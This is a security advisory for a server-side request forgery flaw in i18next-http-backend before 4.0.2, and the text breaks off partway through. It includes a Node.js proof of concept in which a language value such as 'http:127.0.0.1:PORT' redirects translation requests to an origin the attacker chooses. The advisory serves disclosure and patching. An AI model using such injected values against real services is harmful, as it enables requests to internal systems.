i18next-http-backend is a backend layer for i18next that loads translation resources in Node.js, browsers, and Deno. Prior to 4.0.2, attacker-controlled language or namespace values interpolated into a custom loadPath or addPath that begins directly with {{lng}} or {{ns}} can make colon-based input become an absolute URL or, in browsers, make a double-slash namespace become a protocol-relative URL. The resulting request can leave the intended origin and cause URL injection or server-side request forgery. The default /locales/{{lng}}/{{ns}}.json template and templates with a leading path or origin are not affected because the placeholder does not occupy the URL's structural beginning. This issue is fixed in version 4.0.2.

Affected: npm: i18next-http-backend

There is an SSRF vulnerability when using `i18next-http-backend`. A colon in an attacker-controlled language value can make a custom path template request an unintended origin.

This is reachable under the following conditions: Attacker controls i18next language or namespace input that is interpolated into loadPath.

## Proof of Concept

```js // SSRF through a colon-only URL scheme in i18next-http-backend interpolation. const http = require("node:http"); const Backend = require("i18next-http-backend");

function read(backend, lng, ns) { return new Promise((resolve) => { backend.read(lng, ns, (err) => resolve(err)); }); }

async function main() { let gotRequest = false; const server = http.createServer((req, res) => { gotRequest = req.url === "/common.json"; res.writeHead(200, { "content-type": "application/json" }); res.end("{}"); });

await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); const backend = new Backend(null, { loadPath: "{{lng}}/{{ns}}.json" }); const lng = `http:127.0.0.1:${server.address().port}`;

const err = await read(backend, lng, "common"); server.close();

const vulnerable = gotRequest && !err; console.log(vulnerable ? "VULNERABLE" : "SAFE"); if (!vulnerable) process.exitCode = 1; }

main(); ```

Run:

```bash npm install --ignore-scripts node poc.js ```

The expected result is:

```text VULNERABLE ```

## Why the Previous Patch Was Incomplete

This vulnerability is caused by an incomplete pat…

Affected: Ubuntu:22.04:LTS: node-i18next-http-backend, Ubuntu:24.04:LTS: node-i18next-http-backend, Ubuntu:26.04:LTS: node-i18next-http-backend

(i18next-http-backend is a backend layer for i18next that loads transla ...)